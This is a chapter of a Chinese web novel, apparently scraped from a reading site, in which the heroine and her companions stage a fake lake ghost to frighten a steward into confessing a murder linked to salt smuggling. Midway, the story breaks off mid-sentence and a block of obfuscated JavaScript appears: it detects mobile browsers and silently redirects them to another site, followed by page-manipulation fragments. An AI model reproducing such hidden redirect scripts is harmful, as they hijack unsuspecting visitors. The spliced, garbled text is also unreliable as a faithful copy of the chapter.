莲反 作品

56. 湖里爬出个水鬼

“不是……怎么就要完了呢?”


陶夭不甘反驳:“藏木于林的道理你不懂啊?”


她嘴上轻描淡写,心里却明白,她只是……


有些不愿承认自己不想离开罢了。


“我瞧着,那太监的事,左右不过是个巧合。”


陶夭低头抚抚被角,漫不经心:“顶多是利益输送上的一环,未必与我有直接干系。”


她说得轻巧,明夷却听得直翻白眼:“呵,行吧,我看你这块春天里发芽开花的木头是想藏在仵作林里吧?”


“哪有啦!”


陶夭思忖片刻,还是决定透一点风:“哎呀,就是私盐啦。”


免得小乙把自己看扁了!


“宫里的太监贩私盐?”


“哎呀,三言两语也说不清楚。”


陶夭挥挥小手。


陆云究竟是否为陈彬所杀,这一切又是否是因为私盐的事情,在没有审问之前,她也难有断言。


而且,她总觉得,事情没那么简单。


私盐之外,还有□□案。


不光是和尚道士,民间帮派,好似也有通天梯。


这小小青州,当真是法外之地不成?


罗网密布,难不成真是针对自己这只螳螂?


啊呸!她要当也是要当黄雀吧!


“再说了,那死太监难道就没可能也是逃出来的?”


陶夭将心比心,觉得这很有可能。


“你想啊,谁愿意再深宫大院做个太监,被人呼来喝去?还随时可能丢了性命,这种朝不保夕的日子,难道真有人喜欢?”


“我看很多人喜欢呢。”明夷吐槽。


“那些太监不还很喜欢收义子么!”


“切!”


那些变态在想什么,她哪里能知道!


陶夭用被子蒙住一整个脑袋。


听到笃笃的敲门声,陶夭顶着一头乱发坐起来。


明夷早已衣衫齐整,便去开门。


原是沈卓如往常那般,给陶夭送来早点。


沈卓微微颔首,冲明夷点点头,放下点心便转身欲走。


他哪好意思与两个正值青春的大姑娘同处一室?


思来想去,还是回去找道长共用朝食更合适些。


“哎,你别走嘛!”陶夭相当热情地挽留。


眼神亮晶晶的,甚至带着一丝期待意味。


“这……不妥吧?”


明夷显然是不习惯就这么和一个陌生男人同处一室,甚至还吃起饭来。


“小乙,你听我说啦!”


陶夭扯着明夷的袖子,将她拉过来,小声耳语道。


“其实他人是不错的啦!长得也算下饭,对吧,不如,就一起吃……”


“……”


行吧行吧,既然主子有令,自己还能说什么?


三个人围坐在桌边,气氛一时之间变得诡异。


“昨夜,我复勘尸身……”沈卓只能没话找话了。


“可有发现呀?”陶夭放了筷子。


“呃……”


其实该发现的,他第一遍验的时候就已经都发现了。


“没有?那你听我说说!”


陶夭倒是很热情。


“我发现……”


一番合计之后,陶夭看向沈卓:“你也觉得是他对吧?”


她倒是没给人一点思索的空间,连珠炮似的。


沈卓微微皱眉,回忆着当时的情形:“晚间确实从他身上闻到甜香。”


不像是菜香,和尸体身上的味道……倒是有几分相似。


如今想想,那可能是蜂蜡和糖胶混合的味道。


“对嘛!他一定是先用糖胶和一些绳索样的东西将真尸体固定在湖中,然后又在昨夜投入一个蜡像,就为了混淆视听!”陶夭又拿筷子戳戳盘中剩的包子。


“此事,我再与玄清兄商量一二……”


沈卓起身,拂了袍摆,脚步却顿住了。


“……小陶,要不要一起去商议一番?”


沈卓左思右想,都觉此案尚无确凿证据。


虽然所有的线索都指向同一人,可尸体、黑斗篷凶手——一切仍然停留在猜测之中。


“走走走!”陶夭倒是相当热情,拉着沈卓就往外走。


明夷冷着脸,嘴上不说什么,默默跟在后头。


水榭临时殓房。


几人正在商议对策。


准确来说,只陶夭一人在那叽叽呱呱半天。


“其实,你们说的那人,昨夜,我看到了。”


明夷揉了揉太阳穴,打断了陶夭的聒噪。


“对对对,我家小乙眼神向来极好的!”


陶夭一脸骄傲地附和。


“我还记得……那个人脸上的骨骼走势……”明夷慢悠悠补充道。


沈卓眉宇微动,不由另眼相看:“姑娘也懂人体骨骼?”


他原以为,陶夭已经够特别了。


不想,她身边也都是奇人。


“那是!”


陶夭轻咳一声,颇为得意地吹捧着明夷,仿佛一卖瓜的小王婆:“我家小乙的易容术登峰造极。辨识人脸,那完全不是问题。”


“不是人脸,是人骨。”明夷纠正道。


陶夭咽了咽口水,有些结巴:“她……她她,看人只看骨。”


沈卓倒是完全不失望:“如此倒是好了。”


既然明夷能凭骨辨人,便是多了个目击证人,能为他们所查之案再添几分实证。


陶夭的视线在沈卓与明夷之间来回扫视。


她总觉得……这两人站在一起似乎还挺般配?


一个是榆木疙瘩,一个是毒舌疙瘩!


她不由撇撇嘴,心里莫名升起一股怪异的情绪。


这算什么?


她才是他娘子!怎么转头他就好像跟才见面的人更合拍了?


“行了啦,我们掌握的证据,什么香味啦,气味啦,这些都不够。就算有证人,人家也大可以推诿不认。”


“那我们能怎么办?人都死了。”王玄清冲人摊手。


“这杀人又不是现行罪,如何又能取得你所说之铁证?”


王玄清的话,倒是提醒了陶夭。


她摸出刚才早餐剩的一个馒头,强行塞到王玄清手里,顺便给人一个“还不快谢谢我”的讨打眼神。


“不如咱们就……再装一次鬼如何?”


王玄清嘴角抽抽:“你什么意思?”


听到装鬼他都犯怵了。


陶夭以手抵桌。


忽觉手感奇怪。


低头一看,才知竟是尸体。


她刷地收回手,面上倒还是一脸镇定。


“咱们这呢,小乙能徒手捏人。”


陶夭试图将手拍在明夷肩上,被她闪过,只能去摸沈卓袖子。


“他陈彬能做假人鱼目混珠,李代桃僵,难道咱们就不能?”


她又冲余下几人一通眨眼。


陶夭的主意是找个替死鬼诬陷陈彬,逼他交代——只要沈卓和王玄清不说,就没关系。


“我不反对。”


王玄清思忖一番,便应下了。


沈卓皱了皱眉,低声道:“这……不妥吧?”


这不是明晃晃的诬陷吗?


“虽说陈彬嫌疑重大,但我们证据不足,便如此行事,未免……”


他正要再劝,陶夭却毫不犹豫地挥挥手,打断了他的话:“没有‘若是’,也


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388186|164562||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


没有‘万一’。”


她双手叉腰,目光灼灼:“咱们就去你常去的义庄,搞一具新鲜尸体来就成。”


说得好像义庄是个随时能挑货的集市似的。


“然后我们再找点糖胶,给它涂成凶手沉入湖中那时候的样子!”


沈卓嘴角微动,还未来得及反驳,陶夭已经兴奋地攥紧拳头:“然后,你就负责演双簧,装鬼,弄得陈管事心神俱疲,最好直接吓到他自己认罪!”


“我们没必要和尸体唱双簧。”


明夷适时提醒:“有个真人装尸体就行了。”


闻言,陶夭的动作陡然一顿。


“哦……”


她的语调瞬间低了几分,在那找糖罐子的手也顿住了。


沈卓看着她垂下的脑袋,若有所思。


这意味不明的失落感……是他的错觉吗?


“那么,问题来了,到底谁来当这个太监?”


陶夭振作得很快。


王玄清当即往后大大地退了一步。


剩下沈卓有些尴尬地立在原地。


“此事还有劳沈兄出手了,还望沈兄能施以援手。”


王玄清继续死道友不死贫道。


“可是,我并不知道陆云的声音。”沈卓试图反驳。


“这没事啊,我们就找个他家的仆人,你仿给他听不就成了。”


“对啊对啊!”陶夭点头如捣蒜,又指指王玄清。


“费用道长出!”


“……”


翌日,夜晚。


明月当空。


霁月湖畔,有一个黑影经过。


陈彬揣着手,急急而行,心里犯着嘀咕。


平时,他家公子看着自己,都会绕道而行。


想是怕自己又向老爷告状。


今日却又突然吩咐他做事。


着实有些奇怪。


这时,陈彬忽的看见湖边那处有一黑影。


披头散发。


别人可能因害怕而离开,但他……


当然是要一探究竟。


陈彬行至霁月湖,只见湖边站着一人,白衣,却披发,看不清面容。


那人……那鬼竟是发出了让人毛骨悚然的声响。


“还我命来……”


陈彬心神俱震,情急之下,双手一推,将人再度推入湖里。


“噗通”一声。


可霁月湖却并未因此而平静。


湖水微微荡漾,月色映照下,泛起森然的光影。


寒意顺着陈彬的脊背爬上来。


他死死盯着湖面,不多时,湖面开始冒泡。


赫然浮现出一抹湿漉漉的鬼影。


它身形模糊,声音透着一股森冷寒意,让人如回三九:“那夜,你为何害我?”


沈卓刻意压低了声线,此时,仿若鬼魅低语。


“你还敢来找我?”


陈彬狠狠咬牙,强作镇定:“我既能杀你一次,便也能杀你二次、三次!”


鬼影没有消散,反而缓缓自湖中走来:“你一次次地推我入水,可我还是会一次次地……回来找你。”


陈彬脸色瞬间煞白,喉结滚动。


“你……你别过来!”


“怕了?”水鬼轻笑:“你害我的时候,可有想过……我也会怕?”


陈彬额上冷汗直冒,眼神四处乱飘。


他急急辩道:“你……这事全是上面的意思。□□一事败露,加上廷尉府又盯上了贩卖私盐之事,上面让咱们除了你。你也知道,主子的命令,如何能违?”


“哦?”


水鬼微微偏头,语调依旧不紧不慢。


“那还不是你自己不谨慎?若非如此,我又怎会败露?”